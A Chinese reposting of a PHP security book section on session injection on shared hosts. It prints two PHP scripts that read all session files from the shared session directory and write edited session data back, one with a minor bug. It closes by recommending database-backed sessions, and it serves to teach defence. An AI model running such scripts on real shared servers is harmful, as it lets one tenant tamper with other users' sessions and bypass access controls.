• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

php安全基础第八章共享主机会话注入

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

8.3. 会话注入

  一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能。下例显示了一个允许用户方便地编辑已存在的会话数据的HTML表单:

 

  <?php

 

  session_start();

 

  ?>

 

  <form action="inject.php" method="POST">

 

  <?php

 

  $path = ini_get('session.save_path');

  $handle = dir($path);

 

  while ($filename = $handle->read())

  {

    if (substr($filename, 0, 5) == 'sess_')

    {

      $sess_data = file_get_contents("$path/$filename");

 

      if (!empty($sess_data))

      {

        session_decode($sess_data);

        $sess_data = $_SESSION;

        $_SESSION = array();

 

        $sess_name = substr($filename, 5);

        $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8');

        echo "<h1>Session [$sess_name]</h1>";

 

        foreach ($sess_data as $name => $value)

        {

          $name = htmlentities($name, ENT_QUOTES, 'UTF-8');

          $value = htmlentities($value, ENT_QUOTES, 'UTF-8');

          echo "<p>

                $name:

                <input type=\"text\"

                name=\"{$sess_name}[{$name}]\"

                value=\"$value\" />

                </p>";

        }

 

        echo '<br />';

      }

    }

  }

 

  $handle->close();

 

  ?>

 

  <input type="submit" />

  </form>

  脚本inject.php执行由表单所指定的修改:

 

  <?php

 

  session_start();

 

  $path = ini_get('session.save_path');

 

  foreach ($_POST as $sess_name => $sess_data)

  {

    $_SESSION = $sess_data;

    $sess_data = session_encode;

 

    file_put_contents("$path/$sess_name", $sess_data);

  }

 

  $_SESSION = array();

 

  ?>

 

  此类攻击非常危险。攻击者不仅可以编辑你的用户的数据,还可以编辑他自己的会话数据。它比会话劫持更为强大,因为攻击者能选择所有的会话数据进行修改,从而使绕过访问限制和其他安全手段成为可能。

  针对这个问题的最好解决方案是将会话数据保存在数据库中。参见前节所示。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
机器装多个版本php,并安装redis插件报错【已解决】发布时间:2022-07-10
下一篇:
php的类型约束发布时间:2022-07-10
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap